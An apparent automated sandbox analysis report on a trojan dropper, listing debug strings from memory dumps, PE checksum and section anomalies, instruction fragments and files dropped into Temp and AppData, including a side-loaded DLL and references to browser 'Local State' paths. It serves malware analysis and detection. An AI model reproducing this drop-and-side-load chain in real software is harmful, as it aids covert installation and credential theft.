Source: Binary string: wntdll.pdbUGP source: RoboTaskLite.exe, 00000002.00000002.1850445134.000000000A5F0000.00000004.00000800.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000002.1849560770.000000000A292000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196219019.0000000005137000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2197341405.0000000005A40000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: RoboTaskLite.exe, 00000002.00000002.1850445134.000000000A5F0000.00000004.00000800.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000002.1849560770.000000000A292000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196219019.0000000005137000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2197341405.0000000005A40000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\a\wix4\wix4\build\burn\Release\x86\burn.pdb> source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000000.00000002.2121807166.00000000007EE000.00000002.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000000.00000000.1788209677.00000000007EE000.00000002.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000002.2119327647.0000000000D7E000.00000002.00000001.01000000.00000005.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000000.1797631027.0000000000D7E000.00000002.00000001.01000000.00000005.sdmp
Source: Binary string: h\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\Local Statetateq0 source: ToolSecurityBvg.exe, 0000000A.00000003.2821080856.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2754958749.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2849635779.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2726014114.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2784742842.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2710814230.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2851303950.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2801136499.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2749035806.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2823643297.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2728727480.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2679540264.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2750909782.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2643935919.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2754339287.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2848225882.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2752226852.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2823153370.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2643935919.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Local State6 source: ToolSecurityBvg.exe, 0000000A.00000003.2672948997.0000000002EBB000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2661777601.0000000002EBA000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2675893535.0000000002EB9000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2679152136.0000000002EBB000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2658753495.0000000002EB6000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\Local State source: ToolSecurityBvg.exe, 0000000A.00000003.2595426913.0000000002E4F000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\Local State source: ToolSecurityBvg.exe, 0000000A.00000003.2821080856.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2754958749.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2849635779.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2726014114.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2784742842.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2710814230.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2851303950.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2801136499.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2749035806.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2823643297.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2728727480.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2679540264.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2750909782.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2643935919.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2754339287.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2661777601.0000000002EBA000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2848225882.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2752226852.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2658753495.0000000002EB6000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2823153370.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: ppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Local State6 source: ToolSecurityBvg.exe, 0000000A.00000003.2821080856.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2754958749.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2849635779.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2726014114.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2784742842.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2710814230.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2851303950.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2801136499.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2749035806.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2823643297.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2728727480.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2750909782.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2754339287.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2848225882.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2752226852.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2823153370.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: vcruntime140.i386.pdbGCTL source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000000.00000003.1789442174.0000000003659000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000000.00000003.1790633169.0000000003650000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000000.00000003.1790530235.0000000003650000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000002.2120137170.000000006E451000.00000020.00000001.01000000.00000006.sdmp
Source: Binary string: vcruntime140.i386.pdb source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000002.2120137170.000000006E451000.00000020.00000001.01000000.00000006.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A58316 source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2679540264.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2643935919.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2679540264.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2643935919.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: ToolSecurityBvg.exe, 0000000A.00000003.2660746659.0000000002E50000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2595426913.0000000002E4F000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: ntkrnlmp.pdb;W source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2679540264.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Local State; source: ToolSecurityBvg.exe, 0000000A.00000003.2595426913.0000000002E4F000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Local State source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2643935919.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2661777601.0000000002EBA000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2658753495.0000000002EB6000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: ntkrnlmp.pdb5W source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2679540264.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2643935919.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: ntkrnlmp.pdb'W source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2679540264.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
Source: ssvrbxxww.12.drStatic PE information: real checksum: 0x2a50d8 should be: 0x2a6015
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe.0.drStatic PE information: real checksum: 0x0 should be: 0x99a710
Source: vcl280.bpl.2.drStatic PE information: real checksum: 0x405dec should be: 0x40417c
Source: vcl280.bpl.1.drStatic PE information: real checksum: 0x405dec should be: 0x40417c
Source: Overtrick.dll.1.drStatic PE information: real checksum: 0x15f50 should be: 0x16754
Source: trcxbjkffm.4.drStatic PE information: real checksum: 0x2a50d8 should be: 0x2a6015
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeStatic PE information: real checksum: 0x0 should be: 0x9aa662
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeStatic PE information: section name: .didat
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeStatic PE information: section name: .wixburn
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe.0.drStatic PE information: section name: .didat
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe.0.drStatic PE information: section name: .wixburn
Source: Overtrick.dll.1.drStatic PE information: section name: _RDATA
Source: RoboTaskLite.exe.1.drStatic PE information: section name: .didata
Source: rtl280.bpl.1.drStatic PE information: section name: .didata
Source: vcl280.bpl.1.drStatic PE information: section name: .didata
Source: RoboTaskLite.exe.2.drStatic PE information: section name: .didata
Source: rtl280.bpl.2.drStatic PE information: section name: .didata
Source: vcl280.bpl.2.drStatic PE information: section name: .didata
Source: ToolSecurityBvg.exe.4.drStatic PE information: section name: Shared
Source: trcxbjkffm.4.drStatic PE information: section name: .xdata
Source: trcxbjkffm.4.drStatic PE information: section name: nbdm
Source: ssvrbxxww.12.drStatic PE information: section name: .xdata
Source: ssvrbxxww.12.drStatic PE information: section name: nbdm
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_0081E080 push esi; retn 007Eh0_2_0081E081
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_0081E000 push ss; ret 0_2_0081E01D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_0081E07C push es; ret 0_2_0081E07D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007ECAD3 push ecx; ret 0_2_007ECAE6
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00DAE000 push ss; ret 1_2_00DAE01D
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D7CAD3 push ecx; ret 1_2_00D7CAE6
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_6E45E8F0 push eax; ret 1_2_6E45E90E
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_6E45E666 push ecx; ret 1_2_6E45E679
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeCode function: 2_2_50CB89D8 push eax; retn 00FEh2_2_50CB89EC
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeCode function: 2_2_50CB81D8 push eax; retn 00FFh2_2_50CB81EC
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeCode function: 2_2_50CB81E8 push eax; retn 00FFh2_2_50CB81EC
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeCode function: 2_2_50CB89E8 push eax; retn 00FEh2_2_50CB89EC
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeCode function: 2_2_50CB89E0 push eax; retn 00FEh2_2_50CB89EC
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeCode function: 2_2_50CB81E0 push eax; retn 00FFh2_2_50CB81EC
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeCode function: 2_2_50CB81F0 push eax; ret 2_2_50CB81F4
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeCode function: 2_2_50CB89F0 push eax; ret 2_2_50CB89F4
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeCode function: 2_2_50CB8248 push eax; iretd 2_2_50CB8254
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeCode function: 2_2_50CB8A48 push eax; iretd 2_2_50CB8A54
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeCode function: 2_2_50CB8240 push eax; iretd 2_2_50CB8254
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeCode function: 2_2_50CB8A40 push eax; iretd 2_2_50CB8A54
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeCode function: 2_2_50CB8250 push eax; iretd 2_2_50CB8254
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeCode function: 2_2_50CB8A50 push eax; iretd 2_2_50CB8A54
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeCode function: 2_2_50CB8218 push eax; retf 00FFh2_2_50CB822C
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeCode function: 2_2_50CB8A18 push eax; retf 00FEh2_2_50CB8A2C
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeCode function: 2_2_50CB8A28 push eax; retf 00FEh2_2_50CB8A2C
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeCode function: 2_2_50CB8228 push eax; retf 00FFh2_2_50CB822C
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeCode function: 2_2_50CB8A20 push eax; retf 00FEh2_2_50CB8A2C
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeCode function: 2_2_50CB8220 push eax; retf 00FFh2_2_50CB822C
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeCode function: 2_2_50CB8A38 push eax; iretd 2_2_50CB8A54
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeCode function: 2_2_50CB8238 push eax; iretd 2_2_50CB8254
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeCode function: 2_2_50CB8A30 push eax; retf 2_2_50CB8A34
Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Local\Temp\ssvrbxxwwJump to dropped file
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeFile created: C:\Users\user\AppData\Roaming\Supersync\vcl280.bplJump to dropped file
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeFile created: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\rtl280.bplJump to dropped file
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeFile created: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\vcl280.bplJump to dropped file
Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Local\Temp\trcxbjkffmJump to dropped file
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeFile created: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeJump to dropped file
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeFile created: C:\Users\user\AppData\Roaming\Supersync\rtl280.bplJump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeFile created: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeJump to dropped file
Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeJump to dropped file
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeFile created: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\Overtrick.dllJump to dropped file
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeFile created: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeJump to dropped file
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeFile created: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\rtl280.bplJump to dropped file
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeFile created: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\vcl280.bplJump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeFile created: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeJump to dropped file
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeFile created: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\Overtrick.dllJump to dropped file
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeFile created: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeJump to dropped file
